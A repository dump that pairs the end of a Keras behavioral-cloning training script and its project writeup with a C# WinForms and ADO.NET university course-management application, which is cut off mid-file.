optimizer="adam") model.summary() # Build dataset, python list of tuples. # Each tuple is a file_path, image_trasformations, steering, steering_trasformations dataset = build_fit_dataset(args.data_path) # Split dataset in train and validation train_dataset, test_dataset = train_test_split(dataset, test_size=.2) # Create sequences for parallel access to the dataset. # Generator will read image from file, transform it returned for training. train_sequence = Sequence(train_dataset, args.batch_size) test_sequence = Sequence(test_dataset, args.batch_size) # Train the model model.fit_generator( train_sequence, len(train_sequence), epochs=args.epochs, validation_data=test_sequence, validation_steps=len(test_sequence), max_queue_size=10, workers=6, verbose=2) # Store final model and weights model.save(args.model_output) name, ext = os.path.splitext(args.model_output) model.save(name + "_weights" + ext) <file_sep># **Behavioral Cloning** --- **Behavioral Cloning Project** The goals / steps of this project are the following: * Use the simulator to collect data of good driving behavior * Build, a convolution neural network in Keras that predicts steering angles from images * Train and validate the model with a training and validation set * Test that the model successfully drives around track one without leaving the road * Summarize the results with a written report [//]: # (Image References) [image1]: ./writeup_imgs/1.jpg "Clockwise" [image2]: ./writeup_imgs/2.jpg "Counterclockwise" [image3]: ./writeup_imgs/3.jpg "Right recovery" [image4]: ./writeup_imgs/4.jpg "Left recovery" [image5]: ./writeup_imgs/5.jpg "Flip" --- ### Files Submitted & Code Quality #### 1. Submission includes all required files and can be used to run the simulator in autonomous mode My project includes the following files: * model.py containing the script to create and train the model * utils.py Includes utility functions to build dataset; and to build dataset generator * drive.py for driving the car in autonomous mode * model.h5 containing a trained convolution neural network * writeup.md summarizing the results #### 2. Submission includes functional code Using the Udacity provided simulator and my drive.py file, the car can be driven autonomously around the track by executing ```sh python drive.py model.h5 ``` #### 3. Submission code is usable and readable The model.py file contains the code for training and saving the convolution neural network. The file shows the pipeline I used for training and validating the model, and it contains comments to explain how the code works. ### Model Architecture and Training Strategy #### 1. Model architecture | Layer | Description | Code line | |:---------------:|:----------------------------------------------------------:|:--:| | Input | 160x320x3 image | | | Crop | Crop top and bottom of the image, outputs 90x320x3 | 21 | | normalization | 90x320x1 grayscale image | 22 | | Convolution 5x5 | 1x1 stride, valid padding, outputs 86x316x24 | 23 | | RELU | | 23 | | MaxPooling | 2x2 stride, 2x2 pool size, valid padding, outputs 43,158,24| 24 | | Convolution 5x5 | 1x1 stride, valid padding, outputs 39x154x36 | 25 | | RELU | | 25 | | MaxPooling | 2x2 stride, 2x2 pool size, valid padding, outputs 19x77x36 | 26 | | Convolution 5x5 | 1x1 stride, valid padding, outputs 15x73x48 | 27 | | RELU | | 27 | | MaxPooling | 2x2 stride, 2x2 pool size, valid padding, outputs 7x36x48 | 28 | | Dropout | 0.9 keep probability | 30 | | Convolution 3x3 | 1x1 stride, valid padding, outputs 5x4x64 | 31 | | RELU | | 31 | | MaxPooling | 2x2 stride, 2x2 pool size, valid padding, outputs 2x17x64 | 32 | | Convolution 2x2 | 1x1 stride, valid padding, outputs 1x16x64 | 33 | | RELU | | 33 | | Dropout | 0.9 keep probability | 35 | | Flatten | | 36 | | Fully connected | outputs 100 | 37 | | Fully connected | outputs 50 | 38 | | Dropout | 0.9 keep probability | 40 | | Fully connected | outputs 10 | 41 | | Fully connected | outputs 1 | 42 | #### 2. Attempts to reduce overfitting in the model The model contains dropout layers in order to reduce overfitting (model.py lines 30, 35, 40). The model was trained and validated on different data sets to ensure that the model was not overfitting (code line 102). The model was tested by running it through the simulator and ensuring that the vehicle could stay on the track. #### 3. Model parameter tuning The model used an adam optimizer, so the learning rate was not tuned manually (model.py line 95). #### 4. Appropriate training data Training data was chosen to keep the vehicle driving on the road. I used a combination of center lane driving, recovering from the left and right sides of the road, driving clockwise and counterclockwise, and driving on both traks. For details about how I created the training data, see the next section. ### Model Architecture and Training Strategy #### 1. Solution Design Approach The overall strategy for deriving a model architecture was to start from a similar version of the [NVIDIA architecture](https://devblogs.nvidia.com/parallelforall/deep-learning-self-driving-cars/). My first step was to pre-process data to transfor it to grayscale and normilize it. This is a good strategy as grayscale offers a simpler task to learn edges and the structure of the road. Then I took NVIDIA architecture and updated it a little bit, first I reduce conv layers stride and add max pooling layers. To combat the overfitting, I add a few dropout layers. Finally I remove one of the fully connected layers as the output was bigger than the input size, and it could be unnecesary. At the end of the process, the vehicle is able to drive autonomously around the track without leaving the road. #### 2. Creation of the Training Set & Training Process To capture good driving behavior, I first recorded two laps on track one using center lane driving. Here is an example image of center lane driving: ![alt text][image1] Then I drive counterclockwise. Here is an example image of center lane driving: ![alt text][image2] I then recorded the vehicle recovering from the left side and right sides of the road back to center. These images show what a recovery looks like : ![alt text][image3] ![alt text][image4] Then I repeated this process on track two in order to get more data points. To augment the data sat, I also flipped images. For example, here is an image that has then been flipped: ![alt text][image5] After the collection process, I had 64365 number of data points. I finally randomly shuffled the data set and put 20% of the data into a validation set. I used this training data for training the model. The validation set helped determine if the model was over or under fitting. The ideal number of epochs was 8 and batch size 64. I used an adam optimizer so that manually training the learning rate wasn't necessary.
a863f77df8adb24491bdf7651bb8a5f851321475
[ "Markdown", "Python" ]
3
Python
jdbermeol/CarND-Behavioral-Cloning-P3
266e1cf8ca817615570ba2f36caa9eef53e95f18
d4f9f3abb0e18d9cb1235c7e3ec5475f3e6e24ec
refs/heads/master
<repo_name>Guido1312/Tp2-.Net<file_sep>/TP2L05/Business.Logic/CursoLogic.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using Business.Entities; using Data.Database; namespace Business.Logic { public class CursoLogic:BusinessLogic { Data.Database.CursoAdapter _cursoData; public Data.Database.CursoAdapter CursoData { get { return _cursoData; } set { _cursoData = value; } } public List<Curso> GetAll() { CursoAdapter curso = new CursoAdapter(); return curso.GetAll(); } public Curso GetOne(int Id) { CursoAdapter curso = new CursoAdapter(); return curso.GetOne(Id); } public void Delete(int Id) { CursoAdapter curso = new CursoAdapter(); curso.Delete(Id); } public void Save(Curso curso) { CursoAdapter cur = new CursoAdapter(); cur.Save(curso); } } } <file_sep>/TP2L05/Business.Entities/DocenteCurso.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace Business.Entities { class DocenteCurso : BusinessEntity { int _idcursos, _iddocente, _cargo; public int Cargo { get { return _cargo; } set { _cargo = value; } } public int IDCursos { get { return _idcursos; } set { _idcursos = value; } } public int IDDocente { get { return _iddocente; } set { _iddocente = value; } } } } <file_sep>/TP2L05/Business.Logic/ModuloLogic.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using Business.Entities; using Data.Database; namespace Business.Logic { public class ModuloLogic : BusinessLogic { Data.Database.ModuloAdapter _moduloData; public Data.Database.ModuloAdapter ModuloData { get { return _moduloData; } set { _moduloData = value; } } public List<Modulo> GetAll() { ModuloAdapter modulo = new ModuloAdapter(); return modulo.GetAll(); } public Modulo GetOne(int Id) { ModuloAdapter modulo = new ModuloAdapter(); return modulo.GetOne(Id); } public void Delete(int Id) { ModuloAdapter modulo = new ModuloAdapter(); modulo.Delete(Id); } public void Save(Modulo modulo) { ModuloAdapter mod = new ModuloAdapter(); mod.Save(modulo); } } } <file_sep>/TP2L05/UI.Desktop/ApplicationForm.cs using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using Business.Logic; using Business.Entities; namespace UI.Desktop { public partial class ApplicationForm : Form { public ApplicationForm() { InitializeComponent(); } public enum ModoForm {Alta, Baja, Modificacion, Consulta } public ModoForm Modo{get; set; } public virtual void MapearDeDatos() { } public virtual void MapearADatos() { } public virtual void GuardarCambios() { } public virtual bool Validar() { return false; } public void Notificar(string titulo, string mensaje, MessageBoxButtons botones, MessageBoxIcon icono) { MessageBox.Show(mensaje, titulo, botones, icono); } public void Notificar(string mensaje, MessageBoxButtons botones, MessageBoxIcon icono) { this.Notificar(this.Text, mensaje, botones, icono); } } } <file_sep>/TP2L05/Business.Logic/MateriaLogic.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using Business.Entities; using Data.Database; namespace Business.Logic { public class MateriaLogic : BusinessLogic { Data.Database.MateriaAdapter _materiaData; public Data.Database.MateriaAdapter MateriaData { get { return _materiaData; } set { _materiaData = value; } } public List<Materia> GetAll() { MateriaAdapter materia = new MateriaAdapter(); return materia.GetAll(); } public Materia GetOne(int Id) { MateriaAdapter materia = new MateriaAdapter(); return materia.GetOne(Id); } public void Delete(int Id) { MateriaAdapter materia = new MateriaAdapter(); materia.Delete(Id); } public void Save(Materia materia) { MateriaAdapter mat = new MateriaAdapter(); mat.Save(materia); } } } <file_sep>/TP2L05/Data.Database/CursoAdapter.cs using System; using System.Collections.Generic; using System.Text; using Business.Entities; using Data.Database; using System.Data; using System.Data.SqlClient; namespace Data.Database { public class CursoAdapter : Adapter { public List<Curso> GetAll() { List<Curso> cursos = new List<Curso>(); try { this.OpenConnection(); SqlCommand cmdCursos = new SqlCommand("select * from cursos", sqlConn); SqlDataReader drCursos = cmdCursos.ExecuteReader(); while (drCursos.Read()) { Curso cur = new Curso(); cur.ID = (int)drCursos["id_curso"]; cur.Descripcion = (string)drCursos["desc_curso"]; cur.AnioCalendario = (int)drCursos["anio_calendario"]; cur.Cupo = (int)drCursos["cupo"]; cur.IDComision = (int)drCursos["id_comision"]; cur.IDMateria = (int)drCursos["id_materia"]; cursos.Add(cur); } drCursos.Close(); } catch (Exception Ex) { Exception ExcepcionManejada = new Exception("Error al recuperar datos de los cursos", Ex); throw ExcepcionManejada; } finally { this.CloseConnection(); } return cursos; } public Business.Entities.Curso GetOne(int ID) { Curso cur = new Curso(); try { this.OpenConnection(); SqlCommand cmdCursos = new SqlCommand("select * from cursos where id_curso = @id", sqlConn); cmdCursos.Parameters.Add("@id", SqlDbType.Int).Value = ID; SqlDataReader drCursos = cmdCursos.ExecuteReader(); if (drCursos.Read()) { cur.ID = (int)drCursos["id_curso"]; cur.Descripcion = (string)drCursos["desc_curso"]; cur.AnioCalendario = (int)drCursos["anio_calendario"]; cur.Cupo = (int)drCursos["cupo"]; cur.IDComision = (int)drCursos["id_comision"]; cur.IDMateria = (int)drCursos["id_materia"]; } drCursos.Close(); } catch (Exception Ex) { Exception ExcepcionManejada = new Exception("Error al recuperar datos del curso", Ex); throw ExcepcionManejada; } finally { this.CloseConnection(); } return cur; } public void Delete(int ID) { try { this.OpenConnection(); SqlCommand cmdDelete = new SqlCommand("delete cursos where id_curso = @id", sqlConn); cmdDelete.Parameters.Add("@id", SqlDbType.Int).Value = ID; cmdDelete.ExecuteNonQuery(); } catch (Exception Ex) { Exception ExcepcionManejada = new Exception("Error al eliminar curso", Ex); throw ExcepcionManejada; } finally { this.CloseConnection(); } } public void Save(Curso curso) { if (curso.State == BusinessEntity.States.Deleted) { this.Delete(curso.ID); } else if (curso.State == BusinessEntity.States.New) { this.Insert(curso); } else if (curso.State == BusinessEntity.States.Modified) { this.Update(curso); } curso.State = BusinessEntity.States.Unmodified; } protected void Update(Curso curso) { try { this.OpenConnection(); SqlCommand cmdSave = new SqlCommand("UPDATE cursos SET id_materia=@id_materia, id_comision=@id_comision," + " anio_calendario=@anio_calendario, cupo=@cupo, desc_curso=@desc_curso " + "WHERE id_curso=@id", sqlConn); cmdSave.Parameters.Add("@id", SqlDbType.Int).Value = curso.ID; cmdSave.Parameters.Add("@id_materia", SqlDbType.Int).Value = curso.IDMateria; cmdSave.Parameters.Add("@id_comision", SqlDbType.Int).Value = curso.IDComision; cmdSave.Parameters.Add("@anio_calendario", SqlDbType.Int).Value = curso.AnioCalendario; cmdSave.Parameters.Add("@cupo", SqlDbType.Int).Value = curso.Cupo; cmdSave.Parameters.Add("@desc_curso", SqlDbType.VarChar, 50).Value = curso.Descripcion; cmdSave.ExecuteNonQuery(); } catch (Exception Ex) { Exception ExcepcionManejada = new Exception("Error al modificar datos del curso", Ex); throw ExcepcionManejada; } finally { this.CloseConnection(); } } protected void Insert(Curso curso) { try { this.OpenConnection(); SqlCommand cmdSave = new SqlCommand("insert into cursos(id_materia, id_comision, anio_calendario, cupo, descr_curso)" + "values(@id_materia,@id_comision,@anio_calendario,@cupo,@desc_curso)" + "select @@identity", sqlConn); cmdSave.Parameters.Add("@id_materia", SqlDbType.Int).Value = curso.IDMateria; cmdSave.Parameters.Add("@id_comision", SqlDbType.Int).Value = curso.IDComision; cmdSave.Parameters.Add("@anio_calendario", SqlDbType.Int).Value = curso.AnioCalendario; cmdSave.Parameters.Add("@cupo", SqlDbType.Int).Value = curso.Cupo; cmdSave.Parameters.Add("@desc_curso", SqlDbType.VarChar, 50).Value = curso.Descripcion; curso.ID = Decimal.ToInt32((decimal)cmdSave.ExecuteScalar()); } catch (Exception Ex) { Exception ExcepcionManejada = new Exception("Error al crear curso", Ex); throw ExcepcionManejada; } finally { this.CloseConnection(); } } } } <file_sep>/TP2L05/UI.Desktop/Plan.cs using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using Business.Entities; using Business.Logic; namespace UI.Desktop { public partial class Plan : Form { public Plan() { InitializeComponent(); dvgPlanes.AutoGenerateColumns = false; dvgPlanes.SelectionMode = DataGridViewSelectionMode.FullRowSelect; dvgPlanes.MultiSelect = false; } public void Listar() { PlanLogic plan = new PlanLogic(); this.dvgPlanes.DataSource = plan.GetAll(); } private void Plan_Load(object sender, EventArgs e) { this.Listar(); } private void btnActualizar_Click_1(object sender, EventArgs e) { this.Listar(); } private void btnSalir_Click(object sender, EventArgs e) { this.Close(); } private void tsbNuevo_Click(object sender, EventArgs e) { PlanDesktop formPlan = new PlanDesktop(ApplicationForm.ModoForm.Alta); formPlan.ShowDialog(); this.Listar(); } private void tsbEliminar_Click(object sender, EventArgs e) { if (this.dvgPlanes.SelectedRows.Count == 1) { int ID = ((Business.Entities.Plan)this.dvgPlanes.SelectedRows[0].DataBoundItem).ID; PlanDesktop formPlan = new PlanDesktop(ID, ApplicationForm.ModoForm.Baja); formPlan.ShowDialog(); this.Listar(); } } private void tsbEditar_Click(object sender, EventArgs e) { if (this.dvgPlanes.SelectedRows.Count == 1) { int ID = ((Business.Entities.Plan)this.dvgPlanes.SelectedRows[0].DataBoundItem).ID; PlanDesktop formPlan = new PlanDesktop(ID, ApplicationForm.ModoForm.Modificacion); formPlan.ShowDialog(); this.Listar(); } } } } <file_sep>/TP2L05/Data.Database/PersonasAdapter.cs using System; using System.Collections.Generic; using System.Text; using Business.Entities; using Data.Database; using System.Data; using System.Data.SqlClient; namespace Data.Database { class PersonasAdapter : Adapter { public List<Personas> GetAll() { List<Personas> personas = new List<Personas>(); try { this.OpenConnection(); SqlCommand cmdPersonas = new SqlCommand("select * from personas", sqlConn); SqlDataReader drPersonas = cmdPersonas.ExecuteReader(); while (drPersonas.Read()) { Personas per = new Personas(); per.ID = (int)drPersonas["id_persona"]; per.Nombre = (string)drPersonas["nombre"]; per.Apellido = (string)drPersonas["apellido"]; per.Direccion = (string)drPersonas["direccion"]; per.Email = (string)drPersonas["email"]; per.Telefono = (string)drPersonas["telefono"]; per.FechaNacimiento = (DateTime)drPersonas["fecha_nac"]; per.Legajo = (int)drPersonas["legajo"]; per.TipoPersonas = (int)drPersonas["tipo_persona"]; per.IDPlan = (int)drPersonas["desc_plan"]; personas.Add(per); } drPersonas.Close(); } catch (Exception Ex) { Exception ExcepcionManejada = new Exception("Error al recuperar datos de personas", Ex); throw ExcepcionManejada; } finally { this.CloseConnection(); } return personas; } public Business.Entities.Personas GetOne(int ID) { Personas per = new Personas(); try { this.OpenConnection(); SqlCommand cmdPersonas = new SqlCommand("select * from personas where id_persona = @id", sqlConn); cmdPersonas.Parameters.Add("@id", SqlDbType.Int).Value = ID; SqlDataReader drPersonas = cmdPersonas.ExecuteReader(); if (drPersonas.Read()) { per.ID = (int)drPersonas["id_persona"]; per.Nombre = (string)drPersonas["nombre"]; per.Apellido = (string)drPersonas["apellido"]; per.Direccion = (string)drPersonas["direccion"]; per.Email = (string)drPersonas["email"]; per.Telefono = (string)drPersonas["telefono"]; per.FechaNacimiento = (DateTime)drPersonas["fecha_nac"]; per.Legajo = (int)drPersonas["legajo"]; per.TipoPersonas = (int)drPersonas["tipo_persona"]; per.IDPlan = (int)drPersonas["desc_plan"]; } drPersonas.Close(); } catch (Exception Ex) { Exception ExcepcionManejada = new Exception("Error al recuperar datos de la persona", Ex); throw ExcepcionManejada; } finally { this.CloseConnection(); } return per; } public void Delete(int ID) { try { this.OpenConnection(); SqlCommand cmdDelete = new SqlCommand("delete personas where id_persona = @id", sqlConn); cmdDelete.Parameters.Add("@id", SqlDbType.Int).Value = ID; cmdDelete.ExecuteNonQuery(); } catch (Exception Ex) { Exception ExcepcionManejada = new Exception("Error al eliminar a la persona", Ex); throw ExcepcionManejada; } finally { this.CloseConnection(); } } public void Save(Personas persona) { if (persona.State == BusinessEntity.States.Deleted) { this.Delete(persona.ID); } else if (persona.State == BusinessEntity.States.New) { this.Insert(persona); } else if (persona.State == BusinessEntity.States.Modified) { this.Update(persona); } persona.State = BusinessEntity.States.Unmodified; } protected void Update(Personas persona) { try { this.OpenConnection(); SqlCommand cmdSave = new SqlCommand("UPDATE personas SET desc_plan=@desc_plan, id_especialidad=@id_especialidad", sqlConn); cmdSave.Parameters.Add("@id", SqlDbType.Int).Value = plan.ID; cmdSave.Parameters.Add("@desc_plan", SqlDbType.VarChar, 50).Value = plan.Descripcion; cmdSave.Parameters.Add("@id_especialidad", SqlDbType.Int).Value = plan.IDEspecialidad; cmdSave.ExecuteNonQuery(); } catch (Exception Ex) { Exception ExcepcionManejada = new Exception("Error al modificar datos del plan", Ex); throw ExcepcionManejada; } finally { this.CloseConnection(); } } protected void Insert(Planes plan) { try { this.OpenConnection(); SqlCommand cmdSave = new SqlCommand("insert into planes(desc_plan,id_especialidad)" + "values(@desc_plan,@id_especialidad)" + "select @@identity", sqlConn); cmdSave.Parameters.Add("@desc_plan", SqlDbType.VarChar, 50).Value = plan.Descripcion; cmdSave.Parameters.Add("@id_especialidad", SqlDbType.Int).Value = plan.IDEspecialidad; plan.ID = Decimal.ToInt32((decimal)cmdSave.ExecuteScalar()); } catch (Exception Ex) { Exception ExcepcionManejada = new Exception("Error al crear plan", Ex); throw ExcepcionManejada; } finally { this.CloseConnection(); } } } } <file_sep>/TP2L05/UI.Desktop/UsuarioDesktop.cs using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using Business.Logic; using Business.Entities; using System.Text.RegularExpressions; namespace UI.Desktop { public partial class UsuarioDesktop : ApplicationForm { public UsuarioDesktop() { InitializeComponent(); } public override void MapearDeDatos() { this.txtID.Text = this.UsuarioActual.ID.ToString(); this.chkHabilitado.Checked = this.UsuarioActual.Habilitado; this.txtNombre.Text = this.UsuarioActual.Nombre; this.txtApellido.Text = this.UsuarioActual.Apellido; this.txtEmail.Text = this.UsuarioActual.Email; this.txtUsuario.Text = this.UsuarioActual.NombreUsuario; this.txtClave.Text = this.UsuarioActual.Clave; this.txtConfirmarClave.Text = this.UsuarioActual.Clave; if (this.Modo == ModoForm.Baja) { this.btnAceptar.Text = "Eliminar"; } if (this.Modo == ModoForm.Consulta) { this.btnAceptar.Text = "Aceptar"; } if (this.Modo == ModoForm.Alta || this.Modo == ModoForm.Modificacion) { this.btnAceptar.Text = "Guardar"; } } public override void MapearADatos() { if (this.Modo == ModoForm.Alta || this.Modo == ModoForm.Modificacion) { if (this.Modo == ModoForm.Alta) { Usuario usu = new Usuario(); this.UsuarioActual = usu; this.UsuarioActual.State = BusinessEntity.States.New; } else { //int id = 0; //if (!int.TryParse("asdasd", out id)) //{ // MessageBox.Show("Debe ingrear un int"); //} //Convert.ToInt32("1244"); this.UsuarioActual.ID = int.Parse(this.txtID.Text); this.UsuarioActual.State = BusinessEntity.States.Modified; } this.UsuarioActual.Habilitado = this.chkHabilitado.Checked; this.UsuarioActual.Nombre = this.txtNombre.Text; this.UsuarioActual.Apellido = this.txtApellido.Text; this.UsuarioActual.Email = this.txtEmail.Text; this.UsuarioActual.NombreUsuario = this.txtUsuario.Text; this.UsuarioActual.Clave = this.txtClave.Text; this.UsuarioActual.Clave = this.txtConfirmarClave.Text; } if (this.Modo == ModoForm.Consulta) { this.UsuarioActual.State = BusinessEntity.States.Unmodified; } else if (this.Modo == ModoForm.Baja) { this.UsuarioActual.State = BusinessEntity.States.Deleted; } } public override void GuardarCambios() { MapearADatos(); UsuarioLogic us = new UsuarioLogic(); us.Save(this.UsuarioActual); } public override bool Validar() { if (string.IsNullOrEmpty(this.txtNombre.Text)) { Notificar("ERROR!","Debe ingresar Nombre", MessageBoxButtons.OK, MessageBoxIcon.Error); return false; } if (string.IsNullOrEmpty(this.txtApellido.Text)) { Notificar("ERROR!", "Debe ingresar Apellido", MessageBoxButtons.OK, MessageBoxIcon.Error); return false; } if (string.IsNullOrEmpty(this.txtEmail.Text)) { Notificar("ERROR!", "Debe ingresar Email", MessageBoxButtons.OK, MessageBoxIcon.Error); return false; } if (string.IsNullOrEmpty(this.txtUsuario.Text)) { Notificar("ERROR!", "Debe ingresar un Usuario", MessageBoxButtons.OK, MessageBoxIcon.Error); return false; } if (string.IsNullOrEmpty(this.txtClave.Text)) { Notificar("ERROR!", "Debe ingresar una Clave", MessageBoxButtons.OK, MessageBoxIcon.Error); return false; } if (string.IsNullOrEmpty(this.txtConfirmarClave.Text)) { Notificar("ERROR!", "Debe ingresar la Clave nuevamente", MessageBoxButtons.OK, MessageBoxIcon.Error); return false; } if (this.txtConfirmarClave.Text != this.txtClave.Text) { Notificar("ERROR!", "La clave no coincide", MessageBoxButtons.OK, MessageBoxIcon.Error); return false; } if ((this.txtClave.Text).Length < 8) { Notificar("ERROR!", "La clave debe contener 8 caraceres como minimo", MessageBoxButtons.OK, MessageBoxIcon.Error); return false; } string expresion = "\\w+([-+.']\\w+)*@\\w+([-.]\\w+)*\\.\\w+([-.]\\w+)*"; if (! Regex.IsMatch(this.txtEmail.Text, expresion)) { Notificar("ERROR!", "El Email no es valido", MessageBoxButtons.OK, MessageBoxIcon.Error); return false; } return true; } public Usuario UsuarioActual { get; set; } public UsuarioDesktop (ModoForm modo) : this() { this.Modo = modo; } public UsuarioDesktop (int ID, ModoForm modo) : this() { this.Modo = modo; UsuarioLogic us = new UsuarioLogic(); this.UsuarioActual = us.GetOne(ID); MapearDeDatos(); } private void btnAceptar_Click(object sender, EventArgs e) { if(Validar()) { GuardarCambios(); Close(); } } private void btnCancelar_Click(object sender, EventArgs e) { Close(); } } } <file_sep>/TP2L05/UI.Desktop/EspecialidadDesktop.cs using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using Business.Entities; using Business.Logic; namespace UI.Desktop { public partial class EspecialidadDesktop : ApplicationForm { public EspecialidadDesktop() { InitializeComponent(); } public Business.Entities.Especialidad EspecialidadActual { get; set; } public EspecialidadDesktop(ModoForm modo) : this() { this.Modo = modo; } public EspecialidadDesktop(int ID, ModoForm modo) : this() { this.Modo = modo; EspecialidadLogic es = new EspecialidadLogic(); this.EspecialidadActual = es.GetOne(ID); MapearDeDatos(); } public override void MapearDeDatos() { this.txtID.Text = this.EspecialidadActual .ID.ToString(); this.txtDescripcion.Text= this.EspecialidadActual.Descripcion; if (this.Modo == ModoForm.Baja) { this.btnAceptar.Text = "Eliminar"; } if (this.Modo == ModoForm.Consulta) { this.btnAceptar.Text = "Aceptar"; } if (this.Modo == ModoForm.Alta || this.Modo == ModoForm.Modificacion) { this.btnAceptar.Text = "Guardar"; } } public override void MapearADatos() { if (this.Modo == ModoForm.Alta || this.Modo == ModoForm.Modificacion) { if (this.Modo == ModoForm.Alta) { Business.Entities.Especialidad esp = new Business.Entities.Especialidad(); this.EspecialidadActual = esp; this.EspecialidadActual.State = BusinessEntity.States.New; } else { //int id = 0; //if (!int.TryParse("asdasd", out id)) //{ // MessageBox.Show("Debe ingrear un int"); //} //Convert.ToInt32("1244"); this.EspecialidadActual.ID = int.Parse(this.txtID.Text); this.EspecialidadActual.State = BusinessEntity.States.Modified; } this.EspecialidadActual.Descripcion = this.txtDescripcion.Text; } if (this.Modo == ModoForm.Consulta) { this.EspecialidadActual.State = BusinessEntity.States.Unmodified; } else if (this.Modo == ModoForm.Baja) { this.EspecialidadActual.State = BusinessEntity.States.Deleted; } } public override void GuardarCambios() { MapearADatos(); EspecialidadLogic es = new EspecialidadLogic(); es.Save(this.EspecialidadActual); } public override bool Validar() { if (string.IsNullOrEmpty(this.txtDescripcion.Text)) { Notificar("ERROR!", "Debe ingresar Descripcion", MessageBoxButtons.OK, MessageBoxIcon.Error); return false; } return true; } private void btnAceptar_Click(object sender, EventArgs e) { if (Validar()) { GuardarCambios(); Close(); } } private void bntCancelar_Click(object sender, EventArgs e) { Close(); } } } <file_sep>/TP2L05/UI.Desktop/MateriaDesktop.cs using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using Business.Entities; using Business.Logic; namespace UI.Desktop { public partial class MateriaDesktop : ApplicationForm { public MateriaDesktop() { InitializeComponent(); } public Business.Entities.Materia MateriaActual { get; set; } public MateriaDesktop(ModoForm modo) : this() { this.Modo = modo; } public MateriaDesktop(int ID, ModoForm modo) : this() { this.Modo = modo; MateriaLogic mate = new MateriaLogic(); this.MateriaActual = mate.GetOne(ID); MapearDeDatos(); } public override void MapearDeDatos() { this.txtID.Text = this.MateriaActual.ID.ToString(); this.txtDescripcion.Text= this.MateriaActual.Descripcion; this.txtHsSemanales.Text = this.MateriaActual.HSSemanales.ToString(); this.txtHsTotales.Text = this.MateriaActual.HSTotales.ToString(); this.txt_idPlan.Text = this.MateriaActual.IDPlan.ToString(); if (this.Modo == ModoForm.Baja) { this.btnAceptar.Text = "Eliminar"; } if (this.Modo == ModoForm.Consulta) { this.btnAceptar.Text = "Aceptar"; } if (this.Modo == ModoForm.Alta || this.Modo == ModoForm.Modificacion) { this.btnAceptar.Text = "Guardar"; } } public override void MapearADatos() { if (this.Modo == ModoForm.Alta || this.Modo == ModoForm.Modificacion) { if (this.Modo == ModoForm.Alta) { Business.Entities.Materia mate = new Business.Entities.Materia(); this.MateriaActual = mate; this.MateriaActual.State = BusinessEntity.States.New; } else { //int id = 0; //if (!int.TryParse("asdasd", out id)) //{ // MessageBox.Show("Debe ingrear un int"); //} //Convert.ToInt32("1244"); this.MateriaActual.ID = int.Parse(this.txtID.Text); this.MateriaActual.State = BusinessEntity.States.Modified; } this.MateriaActual.Descripcion = this.txtDescripcion.Text; this.MateriaActual.HSSemanales = int.Parse(this.txtHsSemanales.Text); this.MateriaActual.HSTotales = int.Parse(this.txtHsTotales.Text); this.MateriaActual.IDPlan = int.Parse(this.txt_idPlan.Text); } if (this.Modo == ModoForm.Consulta) { this.MateriaActual.State = BusinessEntity.States.Unmodified; } else if (this.Modo == ModoForm.Baja) { this.MateriaActual.State = BusinessEntity.States.Deleted; } } public override void GuardarCambios() { MapearADatos(); MateriaLogic mate = new MateriaLogic(); mate.Save(this.MateriaActual); } public override bool Validar() { if (string.IsNullOrEmpty(this.txtDescripcion.Text)) { Notificar("ERROR!", "Debe ingresar Descripcion", MessageBoxButtons.OK, MessageBoxIcon.Error); return false; } if (string.IsNullOrEmpty(this.txtHsSemanales.Text)) { Notificar("ERROR!", "Debe ingresar la cantidad de horas semanales", MessageBoxButtons.OK, MessageBoxIcon.Error); return false; } if (string.IsNullOrEmpty(this.txtHsTotales.Text)) { Notificar("ERROR!", "Debe ingresar la cantidad de horas totales", MessageBoxButtons.OK, MessageBoxIcon.Error); return false; } if (string.IsNullOrEmpty(this.txt_idPlan.Text)) { Notificar("ERROR!", "Debe ingresar el ID del plan", MessageBoxButtons.OK, MessageBoxIcon.Error); return false; } return true; } private void btnAceptar_Click(object sender, EventArgs e) { if (Validar()) { GuardarCambios(); Close(); } } private void bntCancelar_Click(object sender, EventArgs e) { Close(); } } } <file_sep>/TP2L05/Data.Database/ModuloAdapter.cs using System; using System.Collections.Generic; using System.Text; using Business.Entities; using Data.Database; using System.Data; using System.Data.SqlClient; namespace Data.Database { public class ModuloAdapter : Adapter { public List<Modulo> GetAll() { List<Modulo> modulos = new List<Modulo>(); try { this.OpenConnection(); SqlCommand cmdModulos = new SqlCommand("select * from modulos", sqlConn); SqlDataReader drModulos = cmdModulos.ExecuteReader(); while (drModulos.Read()) { Modulo mod = new Modulo(); mod.ID = (int)drModulos["id_modulo"]; mod.Descripcion = (string)drModulos["desc_modulo"]; modulos.Add(mod); } drModulos.Close(); } catch (Exception Ex) { Exception ExcepcionManejada = new Exception("Error al recuperar datos de los modulos", Ex); throw ExcepcionManejada; } finally { this.CloseConnection(); } return modulos; } public Business.Entities.Modulo GetOne(int ID) { Modulo mod = new Modulo(); try { this.OpenConnection(); SqlCommand cmdModulos = new SqlCommand("select * from modulos where id_modulo = @id", sqlConn); cmdModulos.Parameters.Add("@id", SqlDbType.Int).Value = ID; SqlDataReader drModulos = cmdModulos.ExecuteReader(); if (drModulos.Read()) { mod.ID = (int)drModulos["id_modulo"]; mod.Descripcion = (string)drModulos["desc_modulo"]; } drModulos.Close(); } catch (Exception Ex) { Exception ExcepcionManejada = new Exception("Error al recuperar datos del modulo", Ex); throw ExcepcionManejada; } finally { this.CloseConnection(); } return mod; } public void Delete(int ID) { try { this.OpenConnection(); SqlCommand cmdDelete = new SqlCommand("delete modulos where id_modulo = @id", sqlConn); cmdDelete.Parameters.Add("@id", SqlDbType.Int).Value = ID; cmdDelete.ExecuteNonQuery(); } catch (Exception 